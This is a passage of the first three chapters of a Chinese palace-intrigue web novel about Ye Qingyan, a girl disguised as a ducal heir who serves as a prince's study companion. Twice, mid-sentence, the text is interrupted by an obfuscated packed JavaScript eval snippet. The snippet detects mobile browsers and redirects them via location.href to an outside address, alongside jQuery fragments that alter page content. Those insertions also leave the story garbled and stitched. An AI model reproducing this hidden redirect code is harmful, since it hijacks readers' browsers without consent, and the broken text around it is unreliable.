《殿下以为他弯了》 1. 南苑学宫 南苑学宫。 皇亲贵胄及皇子和伴读们的读书习练之所。 一间明亮宽敞的学堂里,井然有序地坐着十数名少年。 这些少年们或握笔急书,或垂首沉思,显然是在接受授课夫子的考教。 方正严谨的谢老夫子坐在讲台上,手握竹简,锐利的目光不时扫向台下诸人。 学堂四周的竹帘半卷着,屋子的四角静置了冰盆,凉气随着夏风懒懒搅动,却也没能卷走这一室酷热。 少年人本就心火旺盛,眼下这般更是各个满头大汗。 一脸素净的叶青言坐在一众汗津津的小子中间,显得格外清爽,便是一贯目下无尘的谢老夫子见了,也没忍住多看两眼。 少年身形秀颀,眉目清隽,满头乌丝只用一根玉带束着,瞧着整整齐齐,一丝不苟。 小小年纪,委实沉得住气,此子将来必大有作为。 谢夫子摸着胡子满意点头。 这时,有数名内侍手提食盒,来到学堂外请见夫子。 谢夫子见状,不悦地皱了皱眉,但也还是站了起来,上前与领头之人交谈。 内侍的到来,引起课堂里一阵骚动,谢夫子冷眼一扫,众人又重新安静下来。 即便是在座的几位皇子,也不敢在课堂上违逆谢老夫子。毕竟对方可是连皇帝都敢得罪的猛人,教训他们几个皇子根本不在话下。 叶青言始终目不斜视,她认真地看着自己所写的策论,沉吟片刻,提笔蘸上墨汁,在宣纸上落下最后一行字。 又一阵轻风吹过。 学堂外面种有青竹,青竹前面还有一个荷花塘,清风徐来,竹叶沙沙,荷香隐隐,将屋子里的燥意驱散了不少。 但也还是很热。 已经完成策论的叶青言微微侧脸,去看门外正同夫子交谈的内侍,心下不觉也有些期待起今天的凉饮来。 “噗”的一声,一团纸条突地打在了叶青言的脑门上。 叶青言顿了顿,伸手接住,飞快瞟了眼门口方向,见夫子还在门外,这才展开纸条。 ——把你写好的策论给我! 相当颐指气使,又理直气壮的口气。 叶青言往前方看了一眼,理都没理,便将纸条揉成一团,扔进废纸篓里。 前侧位置上的三皇子林竑见状,危险地扯了扯嘴角,眼神示意了坐在叶青言旁边的伴读薛越。 接收到三皇子指令的薛越当即明了,悄然起身,抬手就要去夺叶青言放在桌上的策论。 叶青言似是早有预料一般,对着薛越的膝盖就踢了过去。 薛越猝不及防,跪倒在地,发出“嘭”一声巨响,以及一声痛呼。 竟敢动手打他的人,好得很! 三皇子气得目眦欲裂,低声怒吼道:“叶思砚!” “三弟突然这样叫我的伴读是想做什么?”林竑旁座的林翊闻言,侧首朝林竑看了过去。 对于身后的小动作,林翊清楚得很,但他没想去管。阿言是个能耐的,三弟手底的那些小鱼小虾还奈何不得她。 但三弟出马,他便不能不管了,对上皇子,阿言便是再聪慧也还是会吃亏的。 林竑咬牙切齿:“二皇兄你的这个伴读,真是好样的。” 林翊笑了笑:“我的人,自然。” “肃静!学堂期间不许私下交谈!”屋里的声音太大,将在门口的谢夫子给吸引了回来,只见他走回屋内,看着跪趴在地上抱膝的薛越斥道,“薛明庭你做什么!举止无状,不堪入目!罚抄《礼记》十遍。” 薛越开口想要辩解,可视线触及三皇子的目光,顿时就憋了回去。 他能说什么?又不能将三皇子供出来! 平白挨了顿踢不说,还要被罚十遍《礼记》,薛越嘴唇颤抖,衣摆下的拳头捏得咯咯作响。 该死的叶青言!都是她害的! “两位殿下,请转回您们的脑袋。”教训完薛越,谢夫子又将目光放到了两位皇子身上,“身为皇室中人,行要端坐要正,两位这样坐姿不端,成何体统,《礼记》有云……” 眼看谢夫子又要开始长篇大论,林竑满脸绝望,这死老头子又要开始念经了! 林翊倒是没什么表情,始终眼观鼻鼻观心,端端正正坐着,拿着笔的手不停,不一会儿就在草稿纸上画了一个满口芬芳的小老头,并趁着夫子转头的空隙,扔给后座的叶青言。 叶青言将草稿展开,看着上边的夫子小像,险些没笑出声来。 这时,后方又扔了张小纸条过来。 叶青言打开一看。 上面的字又大又狂放,大大的字眼委委屈屈地挤在小小的纸条上。 ——你策论怎么做的?给我看看。 叶青言一眼就看出这纸条是谁扔的,无声地叹息了一声,但依旧没理。 上头的谢夫子约莫念叨了有一柱香的时间,才捋着鬍子道:“今日的课堂就讲到这里。诸位殿下、公子,将卷子交上来罢。” 众人纷纷将卷子上交,当然,皇子们的卷子是各自的伴读交的。 谢夫子整理好试卷,宣布下课。 一众少年全部站起,俯身行礼道:“恭送夫子离席。” 谢夫子刚一离开,提着食盒的内侍们就走了进来。 林竑又给薛越使了一个眼色。 薛越大步走向叶青言,一把揪住她的领子,怒道:“叶青言,你竟敢踹我!” 林翊正打算伸手去接内侍们呈上的凉饮,闻声回头,就看到叶青言被薛越抓住衣领提起来的画面,脸色一下就变了,快步上前,一把抓过薛越的手甩开,力道大的薛越整个人都往后趔趄了几步:“薛明庭,你做什么?” 薛越稳住身形,面对黑脸的林翊,也不虚就是了,他们薛氏一族作为贵妃娘娘的外祖家,早就站队了大皇子,三皇子又是大皇子的同胞兄弟,他自然要以三殿下马首是瞻。 薛越指着叶青言,对林翊道:“二殿下,您可知她方才都对我做了什么?” 林竑也在这时凑了上来,面带嘲讽地拉起了偏架:“是啊二皇兄,刚刚可是你的这位伴读无端动手在先,总要给我们明庭一个交代。” 林翊冷嗤了声,阿言是怎样性子的人,他再清楚不过。 叶青言从不挑事。 至于薛越为何要突然对阿言发难,只怕是受了林竑的意,而林竑……不过是狗急跳墙,想通过阿言来给自己找不痛快罢了。 当今后宫,皇后与贵妃分庭抗礼。 皇后虽是陛下的发妻,可为陛下诞下长子的却是贵妃高氏。 今上勤于政务,故而膝下子嗣不丰,只有四位皇子和两位公主。 除了大皇子,高贵妃还育有三皇子和年纪最小的二公主。她是今上后宫里唯一一位育有三个孩子的妃嫔,可见陛下对其的宠爱。 至于皇后,因生二皇子时伤了身子,此后便再未有过子嗣,其膝下就只有二皇子林翊和嫡长公主林希微两个孩子。 嘉和四年春,也就是三年前,大公主林希微奉旨远赴南疆和亲,至此,帝后间的关系降到了冰点。 世人都说陛下与高贵妃是青梅竹马,当年若非先帝强行赐婚了陛下和皇后,而今在凤位上坐着的,会是高贵妃。 因着嘉和帝对高贵妃的宠爱,不少朝臣都认为嘉和帝在储君的选择上会以立长为先。 大皇子于去岁年满十六,正式离开南苑学宫进入朝堂参政。 一时间大皇子在朝堂上风头无两,后宫的高贵妃也是意气风发,连带着她的狗腿子们也变得越来越无所顾忌。 日前,高贵妃与胞妹小高妃在御花园中偶遇皇后,小高妃言行无状冒犯了皇后,言语间还辱及了皇后所出的二皇子,这一幕刚好被嘉和帝撞了个正着。 嘉和帝震怒,当场褫夺了小高妃的妃子头衔,将其打入冷宫,并勒令高贵妃回清凉殿反省,无召不得踏出清凉殿大门一步。 因着此事,嘉和帝罕见地在朝堂上训斥了高丞相,斥他教导无方,连带着对大皇子也冷淡了不少。 林竑对此自是恼怒,他是个没脑子的,所能想到的报复手段也就只有给林翊找些不痛快。 林翊非常不屑这种愚蠢行为,正想出言讽刺,然未等他开口,另一道声音率先响了起来。 “无端?三表哥你坐在前面可能看不清楚,但我坐后边可是看的真切,刚刚薛明庭想要做什么,真的要我当众讲出来吗?” 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其他人见状,纷纷行礼告退。 沈昭扬了扬眉,走至被吓得瑟瑟发抖的内侍跟前,要了一碗卖相极好的冰酪,还给叶青言也端了一碗,道:“我可不像某些人那么不讲义气。” 叶青言好笑地看着他:“怎么?不帮你作弊就是不讲义气了?” 林翊“嗯”了一声,凌厉的目光扫向沈昭。 沈昭没料到叶青言居然当着表兄的面直接就说了出来,忙道:“你胡说什么?我哪有作弊!” 林翊反问:“你没有吗?” 沈昭顾左右而言他:“今儿这冰酪做的可真不错,那些人都走了正好,咱们三人可以一次吃个够本。” 林翊摇了摇头:“淮之,别的事情我不管,但是课业,你得自己完成,我答应了姑母要看着你的,你要是敢让我对姑母失言,后果自己看着办。” 沈昭被林翊这话吓的一哆嗦,这家伙整人的手段他可是见识过的。 “知道啦知道啦。”沈昭忙道,“我这不就是想参考参考嘛,再说了,阿言他也没让啊。” 叶青言点头:“因为我是个讲义气的人。” 林翊赞同:“不错。” 沈昭:“……” “怎么不吃了?”见叶青言只用了小半碗凉饮就没有再动,林翊不由问道。 叶青言抿了抿唇,说:“我近来胃不舒服,凉的东西要少吃些。” 沈昭:“又不舒服,你怎么每个月都有那么几天不舒服?” 叶青言瞟他一眼:“自是比不得淮之公子你精力充沛,体魄惊人。” 林翊担忧地看着叶青言:“可要我遣个太医给你调理身子。” 叶青言听了连忙摇头道:“谢殿下您的好意,但是不必了,我这是从娘胎里带出的弱症,已经好很多了,双生子总是要比常人体弱一些,无碍的。” 沈昭表示非常赞同,还抬手压了压叶青言的脑袋,道:“看看你这两年,都没怎么长高了。” 叶青言拂开他的手,微仰起脸,看了看沈昭,又看了看林翊。 两年前他们还是差不多的身高,她甚至比他们俩还要高出小半个头,可就是近两年,这两人就跟竹节似得疯狂抽条。 为了不让自己差他们太多,叶青言每日习武,早睡早起地锻炼身体,却还是差了他们小半个头的高度。 林翊打量了叶青言一番,笑了起来,说道:“阿言这样就很好。” 叶青言却不接受:“我还会再长的。” 沈昭:“难道我们就不会长了?” 叶青言忍了又忍,终是没有忍住,干巴巴斥道:“闭嘴吧你。” 林翊和沈昭听了,纷纷笑出了声。 几人又笑闹了一阵,沈昭率先站起:“这个月末我要在别庄举行一场马球比赛,你俩都得来啊,尤其是阿言,这次一定要来。” 叶青言:“好,这次一定去。” 沈昭满意地挥了挥手,走了。 林翊没有动。 叶青言自然也不会动。 满堂悄寂。 2. 成国公府 有风从窗外潜入,拂动窗上竹帘,发出一阵细碎的沙沙声响。 “前朝训斥林竫,后宫禁足高氏……阿言,你说父皇此番,是为何意?”不知过了多久,林翊突然开口问叶青言道。 作为林翊的伴读,叶青言虽未入朝,却已是立嫡派的中坚力量之一,可因着年纪,她所能接触到的信息始终有限。 叶青言张了张嘴,一时不知如何作答。 倒是林翊先被自己的问题给问笑了:“瞧我,问你这个干嘛,父皇的心思,连母后都猜测不透,更何况你我。” 沉吟片刻,叶青言说道:“无论如何,眼下情况,于您都是有利的。” 林翊点头:“用不了多久,我也将入朝参政,若能在这之前削弱林竫在朝堂上的一部分势力,确实于我有益。” 叶青言闻言陷入了沉思,不知为何,她总有一种奇怪的感觉。 太巧了,这一切发生的太巧了,仿佛有一双无形的大手特意在为殿下的仕途铺路…… 见人突然无话,林翊望了过去,一眼就看到了叶青言沉吟的侧脸,还有她那雪白的耳廓。 天色渐暮,衬得叶青言的面颊有着如皎月般的莹润光辉。 林翊一怔,下意识伸手摸了摸叶青言的脸。 叶青言被这突如其来的举动吓了一跳,当下挥手去挡。 “啪”一声响。 在安静地室内尤为突兀。 “殿下,您这是何意?”叶青言强自镇定问道。 林翊垂眸看着自己刚摸过叶青言脸庞的手指,指尖残留的触感极软。 “殿下?”见人迟迟没有动静,叶青言不由又唤了一声。 林翊这才回神,尴尬地摸了摸鼻子,道:“阿言你都不会热的吗?脸上竟一点儿汗水也没有。”指尖好似还留有一丝馨香…… 原是因为这个。 叶青言松了口气,随即定了定神,平静道:“心静自然凉。” 林翊呵笑两声:“难怪谢老头这么喜欢你。” “殿下,那是夫子。”叶青言不赞同道。 “是是是,是夫子,要尊重,我懂我懂。”林翊摆了摆手起身,“天色不早,咱们也走吧。” 乌金西沉。 夕阳宛如一只慵懒的画笔,将气势磅礴的皇城勾勒出镶金的线条,层峦迭起的高楼也因这一抹金黄晕开一层破碎的光影。 叶青言踩踏着落日余晖,回到了成国公府。 国公府坐落在玉石巷,府邸修建得十分气派,府前高大巍峨的朱红漆门上横七纵七各钉有四十九颗门丁,悬顶的大漆填金匾额据说还是太祖皇帝亲笔御赐下的。 比邻的也都是高门大户。 叶青言回府后,先是去了宁晖堂向叶老夫人请安。 叶老夫人是老国公在原配夫人病逝后再娶的继室,出身不高,共育有两子一女,女儿已经出嫁,两子分别是二房的叶勉和三房的叶钰。叶青言的父亲叶振是老国公原配夫人所生的长子,老国公还在世时,最是看重长子,早早就为叶振请封了世子。 叶老夫人对此始终心存芥蒂,老国公还在世时,她尚算收敛。 可等老国公去世,没有了人在头上压着,叶老夫人便开始暴露本性,她虽奈何不得已为成国公的叶振,却时常趁叶振外出公干之际,以孝道为由,肆无忌惮地磋磨起叶振的妻子李氏。 当年李氏早产,未尝没有孕期遭受婆母磋磨之故。 对于长房,叶老夫人是厌恶的,尤其是叶青言这个嫡长孙,这个阻拦了她亲生儿子承继国公爵位的罪魁祸首。 拐过长长的走廊,叶青言来到了宁晖堂,却被叶老夫人的贴身嬷嬷许氏拦在了院子里。 “大少爷来的不巧。”许嬷嬷微躬着身子,看似恭敬实则倨傲道,“苦夏炎热,老夫人好不容易睡下,这一时半会儿的,怕是不好叫起来见您,您不若先在院子里等等?” 叶青言笑着点了点头,神情平静,看不出半点厌烦的情绪,整个人都透着股与她年龄不相匹配的沉稳。 这种人最好说话。 因为不管你说什么,她都不会动气,永远一副温温柔柔、和和气气的样子。 但这种人也最难说话。 因为你的一句话说出来,往往会石沉大海,看不出任何波澜,也不知她的实际态度如何。 许嬷嬷的视线在叶青言的脸上多停留了一息,而后默默走了开。 盛夏的夕阳依旧晒得惊人。 叶青言微微下蹲,一动不动地站在阳光里。 她在扎马步,脑中也默默背起了今日夫子在课堂上讲的知识。 自从确认了叶老夫人是有意刁难后,叶青言便将每日早晨的扎马步时间挪到了傍晚。 她的时间很宝贵,一分一秒也不能浪费在无用的事情之上。 时间缓慢地流逝。 约莫过了有半个时辰之久,堂屋里终于再次走出人来。 叶青言不着痕迹地直起身子。 这次出来的人,是叶老夫人身边的大丫鬟翠珠。 翠珠与许嬷嬷不同,她还年轻,也聪慧,知晓自己无法像许嬷嬷那般,只依靠老太太就能在府里安稳地度过一辈子,所以这么些年,她对大房始终抱持着善意。 “大少爷,老祖宗请您进去。”翠珠笑着对叶青言说。 叶青言颔首:“有劳翠珠姑娘。” 伴着珠子的碰撞声,叶青言提步踏进了宁辉堂。 叶老夫人端正地坐在上首,身上穿着件黛青色寿字纹镶边绣云纹的褙子,额头上戴着崭新的抹额,满头银发被盘成了祥云髻,上头还点缀着一些玉珠子。 叶老夫人是对穿着极其讲究的女子。 “孙儿见过祖母。”叶青言作揖行礼。 叶老夫人淡淡“嗯”了一声,也没说别的什么,直接就抬手打发了叶青言。 特意让人在阳光下苦等了大半个时辰,却只行了个礼便又让人离开。 叶老夫人当然是故意的。 她其实并不想见叶青言。 她从前也不是没有想过拿捏叶青言,可叶青言实在太聪明了,她与她的父亲一样,都不是好糊弄的主。 他们看着她的眼神很平静,像是一点也不将她的行为看进眼里,没有刻意的盛气凌人,却将她压到了地底,仿佛从天空看着地面的一只蝼蚁。 那样的眼神令叶老夫人感到愤怒,可她又不想放过这唯一一个磋磨叶青言的机会,故而才有了每日的这一遭。 以孝道压人,是叶老太太惯用的伎俩,屡试不爽。 离开宁晖堂的长廊上,叶青言与同样过来请安的叶青淮遇了个正着,叶青淮先是一怔,而后恭敬地向叶青言行了一礼。 叶青淮是二房的嫡长子,与其父的自命不凡不同,叶青淮是极谦恭也极孝顺的一个人,被其母教养的极好。 叶青言颔首回了一礼,而后抬步离开。 叶青淮沉默地目送叶青言远离,心下微微一叹。他们明明是嫡亲的堂兄弟,却因为老太太和父亲的缘故而无法亲近。 良久,叶青淮收回目光继续往前。 离了宁辉堂,叶青言又去了母亲李氏所在的怡然居。 怡然居位于国公府的东面,原是老国公原配夫人所居住的院子,也是整个国公府面积最大,景色最好的院子。 黑白分明的五进大宅院,内里满布着青石板路,朱红柱,琉璃瓦,就是最普通的雕花栏杆上边都刻着样式繁复的海棠花纹。 叶老太太十分垂涎,但老国公从未松口让她入住。 直到叶振成亲之际,老国公才做主将怡然居赐给叶振夫妇做婚房。 叶老太太对此的不满可想而知。 李氏刚嫁进来的时候,叶老太太就曾暗示过她让出,但李氏没理,这也使得叶老太太在之后越发地磋磨起她。 院子里树影斑驳,庭院的两侧种有两株数人合围才能抱住的大树。 迈过长长的过道,叶青言走进了怡然居位于二进的厢房。 伴着一道吱呀声,房门缓缓开启。 艳阳的余晖,从屋外洒进,瞬间便照亮了屋内所有角落,同时也照亮了李氏沉闷的容颜和她手里正拿着的一杯清茶。 “母亲。”叶青言行礼问安。 李氏点了点头,将茶盏放下:“从宁晖堂回来了?” 叶青言颔首:“是。” 空气有一瞬的凝滞,寂静顺势从地缝里钻了出来。 一旁站着的谭嬷嬷看了看李氏,又看了看叶青言,内心十分焦急。 也不知是何时开始的,夫人他们母子变得越来越无话可说,明明第一次知晓老太太磋磨大少爷时,夫人还伤心得夜间偷偷掉起了眼泪。 良久,李氏又拿起了茶盏,喝了口茶,问:“今日的课业,学得如何?” 叶青言:“夫子所教,已全部记下。” “甚好。”略顿了顿,李氏又问,“二殿下呢?他近来课业如何?” 叶青言微不可察地蹙了蹙眉,道:“二殿下机敏聪慧,学得极好。” “如此便好。”李氏欣慰,说道,“当年,你父亲与皇后的兄长郭将军一同战 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16922575|192617||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 死沙场,从那时起,我们国公府大房就与皇后站在了同一阵营,言儿你必须辅佐好二殿下,助他登上皇位,如此才能不负你父亲的在天之灵。” 叶青言垂首:“孩儿定会好好辅佐二殿下。” 李氏满意点头,想了想,又道:“现今朝局动荡,正是用人之际,今年的秋闱我打算让你下场参加,言儿,不要让母亲失望。” 叶青言闻言,诧异地抬头看了李氏一眼,但还是说道:“孩儿明白。” 屋里蓦地又安静了下来,氛围沉闷,而显得此间的空气越发压抑,那些从屋外吹来的凉风,都仿佛要被冻凝了一般。 谭嬷嬷有心开口缓和气氛,却又不知说些什么,诸如夫人时常记挂着少爷您云云,这些话谭嬷嬷以前不是没有说过,但并无用处,所以眼下她也只能干站着瞎着急。 就在这时,一阵轻快的步声从屋外传来,紧接着,一道俏丽的身影走进,彷如一只欢快的小鸟,瞬间冲破了屋里的沉闷。 来人是国公府大房的大小姐,也是叶青言的孪生妹妹。 叶青欢提着裙裾欢快地走到李氏跟前,转了个圈:“阿娘,您看,这是锦绣阁最新送来的衣裳,好看吗?” 叶清欢穿着一件崭新的淡粉色绣荷花纹褙子,下配一条月白色的百褶如意裙,粉嫩的衣色,衬得她肤色白皙,很是养眼好看。 李氏看着面前娇美可人的爱女,心底的沉郁顿时一扫而空,她拉起叶青欢的手,上下打量一阵,笑道:“好看,我们欢姐儿长得好,穿什么都好看。”出口的声音也完全不似方才严苛,温柔若水,仿若一杯清茶,缓缓淌入人心。 叶青欢闻言,笑得更开心了:“锦绣阁总共送了六身衣裳过来,每一身我都很喜欢,阿娘您真好,每回府里做衣裳都给女儿做双份的。” 李氏闻言,下意识朝叶青言看了过去。 叶青欢这时才发现原来叶青言也在,嗔笑着道:“兄长也在啊,你怎么都不出声呢!” 叶青言牵了牵嘴角,打趣道:“我就想看看你何时才能发现我也在这。” “阿娘,您看兄长他……”叶青欢羞恼地跺了跺脚,转身依偎到了李氏身边,巴巴地告状道,“又笑话我。” 李氏也笑着看她:“你兄长一早就坐那儿了,偏生你一直看不到她。” “我这不是想快些让您看看我的新衣裳,所以没有注意嘛。”叶青欢拉着李氏的衣袖撒娇。 李氏慈爱地摸了摸叶青欢的头发:“你啊你,从小就是个粗心的。” “我哪有。”叶青欢俏皮地鼓了鼓脸,将脑袋靠到李氏的肩膀上。 李氏失笑,低垂的眼里满是宠溺。 叶青言静坐在旁,沉默地看着母亲和妹妹亲热,嘴角始终悬着一丝淡淡的微笑。 这时,有小丫鬟进屋询问李氏是否传膳。 叶青言听罢,识趣地起身准备告辞。 “母亲,时辰不早,儿子就先回前院温书了。” 李氏有心想留,可感受着怀中女儿温热的躯体,还是点了点头:“谭嬷嬷,替我送一送言儿。” 谭嬷嬷很想劝说少爷其实也可以一起留下用饭,可想到夫人对少爷所立下的,极端严苛男女的界线,以及已经起身准备离开的叶青言,便什么话也说不出口了。 未免叶青言女扮男装的事情被人发现,李氏给叶青言订立了极其严苛的与人相处之道。 古来男女七岁不同席,叶青言已许久没有同母亲、妹妹一块儿用膳了。 踏出花厅,院子里突地刮起一阵疾风,吹得两侧的枝叶沙沙作响。 身后叶青欢的笑声不时响起,随着夜风一起从叶青言的身拂过。 谭嬷嬷亲自送叶青言出了怡然居,边走边温和地说道:“夫人之所以对您严苛,也是因爱重之故,她将自己的后半辈子都寄托在您的身上,可见对您的信任,夫人她……就是觉得愧疚,所以才会不知怎么面对您。” 怡然居门口,叶青言停下了脚步,看着谭嬷嬷言道:“我明白,我也没有怨怪母亲,嬷嬷你请放心。” 她嗓音温和平稳,落在谭嬷嬷耳朵里,自有一种令人安定的力量。 “如此便好,如此便好。”谭嬷嬷欣慰地连连点头,“您是个懂事的好孩子。” 叶青言笑了笑,微一颔首,而后转身离开。 夜幕,彻底落了下来。 天空有皎洁的月,也有璀璨的星,整个成国公府都沐浴在这倾泻而下的月色星辉里,谭嬷嬷始终站在原地,安静地注视着叶青言的身影消失在拐角,方才转身回了怡然居。 3. 婢女望舒 外院书房。 今晚气温极高,书房里更是闷的不行,为了遮掩身形,叶青言穿得又多,故而始终无法静下心来。 小厮远山进屋点灯时,被叶青言叫了住。她吩咐远山将书房的门窗全部打开。 不多时,屋内令人闷窒的空气便散了许多,可随之而来的是越加嘈杂的蛙鸣之声。 书房的前方有一汪小池,每到晚间,池子里的青蛙便会呱呱叫个不停。 以往的每一个夜晚,叶青言都是伴着蛙鸣温书的,今日也不知为何,总觉得这声音格外恼人。 恼人,这对叶青言来说是很罕见的一种情绪。 放下书册,叶青言起身来到窗前,静静看着前方池子里的一株青莲。 那是一株早莲,外围的粉色花瓣已然落去大半。 蛙虫跳动,惊起一池碧水,可水波中央的青莲始终纹丝不动,碧衣下的颗颗莲子宛若粒粒珍珠,正蓬蓬勃勃地生长着。 有风吹来,拂动叶青言肩上垂落的黑发,发丝在她尚且稚嫩的脸颊飘过,带起一丝平和的微笑。 只用了数息时间,叶青言便将内心的烦闷抛却,于是她微笑了起来。 心静可生慧。 迎着带了微微湿意的夜风,叶青言深深地闭了闭眼,而后重新回到位上,拿起书册。 距离秋闱只剩两个多月,母亲既已决定为她报名,那她所能做的,便是好好温书,实不该这般为外境所扰。 月影渐渐拖长。 书桌一角的铜壶滴漏里,浮舟缓缓升到了亥时末。 远山再次走进书房,小声道:“少爷,快子时了。” 叶青言看了眼滴漏,道:“再等一会儿。” 远山没有多劝,只静静立在旁边等候。 约莫过了一刻钟左右,叶青言放下书册站起,走出书房,往卧室方向而去。 远山提着灯笼,亦步亦趋地跟在身后。 叶青言走路的姿势很端正,迈出的每一步都精准的好似经过丈量一般,她的背脊直直地挺着,并不是刻意挺拔,却自然有种青松劲儿,她走路时始终抬着眼,平视着前方。 平视,不仅能够望远,还能注意到身前。 曲折的走道连接着庭院,两人顺着夹道一路行至卧房前边的月洞门外,叶青言停下脚步,冲远山摆了摆手:“你退下吧。” “是。”远山应声,而后躬身退下。 他家少爷有严重的洁癖,十分不喜旁人进入她的屋子。 在很长一段时间里,少爷的屋里既没有小厮,也没有婢女,只有一名上了年纪的哑婆负责洒扫收拾。 随着少爷逐渐长大,三年前,国公夫人亲自拨了一名婢女到少爷的屋里伺候。 少爷没有拒绝。 那婢女名唤望舒,是谭嬷嬷的嫡亲孙女。 望舒姑娘生得娇巧明媚,少爷对她很是看重,府里众人都知望舒姑娘将来是要给少爷收房的,对她很是尊敬,而今穿云院的一应琐事也都由望舒姑娘负责管理。 “爷,您回来了。”卧房门前,望舒快步走出相迎。 叶青言轻轻“嗯”了一声。 望舒将人迎进屋里,熟练地闭好门窗,这才走到叶青言身前,抬手为她褪去身上的衣裳。 随着外衣褪去,一股湿热的气息随之扑面。 可以想象,白日里的叶青言穿着这一身衣裳,是多么的炎热。 望舒动作利落地将叶青言身上的中衣也脱了下来,可即便如此,她身上也还有里衣和那根紧紧缠在胸前的束带。 看着叶青言那被热意熏红了的肌肤,望舒心疼道:“您以后还是早些回来屋里吧,咱们可以在屋子里温书,奴婢不会打扰您的。” 叶青言摇头:“无妨,总是要忍受的,多多习惯也未尝不好。” 望舒闻言,不觉红了双眼。 “别担心。”叶青言见状反倒安慰起了望舒。 望舒努力压下心中涌起的闷痛,故作轻松笑道:“奴婢已经备好了热水,您先去沐浴吧。” 叶青言颔首。 叶青言洗浴的动作极快,不过一盏茶的功夫,她就从净房里走出了。 她出来时,身上只穿了件素色的寝衣,解了束带的胸前,鼓鼓囊囊的,一看就十分有料。 烛光映着她的面容,沐浴过后的肌肤细腻得仿如明珠一般,透着朦胧的光泽。 灯下美人,大抵如是。 望舒显然已经见惯了叶青言这副模样,连眉毛都没有跳动一下,含笑着上前道:“时候不早了,少爷您早些休息,奴婢就在外间守着。” 叶青言“嗯”了一声,说:“你辛苦了。” 望舒也确实辛苦,尤其是最近这阵,哑婆婆卧病在床,叶青言的衣食起居都压到了她一个人的身上。 “奴婢不辛苦,这些都是奴婢该做的。”望舒笑着回答。大夫人给她的月例银子是府里普通一等丫鬟的三倍,每逢过节,少爷也会赐她一笔丰厚的赏银,她一点也不觉得辛苦,“您没别的吩咐,奴婢就先退下了?” 叶青言想了想,说道:“你明早去煎副药来。” 望舒一怔:“您……是要……?” 叶青言:“再过几日我要去一趟沈府别院,参加沈世子举行的马球比赛。” 望舒抿了抿唇,斟酌再三,还是出言劝道:“不能推了吗?您的葵水正好也在那几日,大夫说了,那药服多了对身子不好。” “无妨的。”叶青言知道她是心疼自己,递去一个安慰的眼神,“我用的也不算多。” 知晓自家少爷说一不二的性子,望舒沉默地低下了头。 叶青言:“下去休息吧,你明日还要早起。” “喏。”望舒福了福身,走前不忘将帐子放下,又将屋里的蜡烛全部吹熄。 白日过的充实且疲乏,所以夜间的叶青言入睡得极快。 不过几息的功夫,她便沉沉睡去。 一夜好睡到天明。 翌日。 望舒早早就煎了药来。 简单洗漱之后,叶青言便将药给喝了。 之后又对着初生的晨雾与远处透出的天光,开始了一日的晨练,直至神清气爽,才结束练习。 晨练过后,望舒伺候了叶青言穿衣。 裹胸的束带缠了一圈又一圈,之后是里衣,再是中衣,最后才是外衣,每一件衣裳都不是轻薄的料子。 “您最近瞧着又清减了些,腰身也越发细了。”望舒边给叶青言整理衣裳边担忧道。 不仅腰更细了,胸前的两团也变得越发鼓鼓囊囊,这些望舒没有说,但叶青言自己也看得出来。 “裹得紧些就好。”叶青言道,她并不担心有人能通过身形看出她的性别。 这么些年,她学习男子的行走坐卧、说话语气,早将这些常识融进自己的每一寸骨血。 她不仅学文断字,更苦练武学,她很清楚自己作为女子,在体力上天生要弱于男子,可她将来是要入朝为官和男人们打交道的,她必须得有自保的能力。 每日风吹日晒,习武不停,只可惜她是晒不黑的体质,但常年习武,也让她娇嫩的手掌慢慢长出了薄茧,她的手指虽不似男子宽厚,却也纤长有力,半点不似女子柔荑。 因着这么些年的努力,叶青言自信无人能看出她身子的破绽。 这个时候的叶青言不会想到,在之后的某一日,将会有一个人醋劲大发地闯入她沐浴的净室,让她无可避免地暴露了身份。 穿戴整齐,又用罢了早膳,叶青言这才出了国公府,乘车去往位于皇宫的南苑学宫。 国公府距离皇城不远,只需一盏茶左右的车程。 可从宫门到学宫的这一段路却不算近,宫里也不准乘车,徒步需得走上一刻多钟。 所以尽管南苑学宫的早课是辰时开始,叶青言也需在卯初起床,并与卯正一刻准时出门,风雨无阻。 马车刚在宫门外停下,坐在车夫旁边的远山便迅速下车,放好车凳。 叶青言也不用他搀扶,自己就掀帘下了马车。 宫门处还停着其他几辆马车,叶青言淡淡扫了一眼,就看出其中一辆是薛府的马车。 薛越往常一贯是踩着点到的学堂,今日却这般早到…… 知晓他意欲何为,可叶青言并没有理会,拿着书袋就往宫门内走去。 学子进宫读书,是不能带随从的,一应事宜都得自己动手。 远山见状,忙小跑着跟上,抬手想将书袋从叶青言的手里接过,替他提到宫门口,却被叶青言躲了开。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16922576|192617||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “你们先回,酉时再来接我。” “是。”远山停在原地,看着自家少爷远去的背影,再看了看旁边别家正在小厮搀扶下踩着马凳下车的小公子们,不由叹了口气。 他家少爷实在是自立,而显得他这个小厮很多余,从小到大,他似乎就没帮少爷做过什么。 因着少爷的洁癖,他甚至连近身都难。 哎…… 远山重重又叹了声,只觉心中甚是空虚。 远山的想法,叶青言自是不知。 她提着书袋,沿着长长的宫道一路往前,就在即将到达学宫大门的一个拐角处时,薛越追上并堵住了他。 叶青言淡淡看了薛越一眼,脚下一拐,便想绕过人继续往前。 薛越当然不让,叶青言往左,他往左,叶青言往右,他往右。 “让开。”叶青言冷声道。 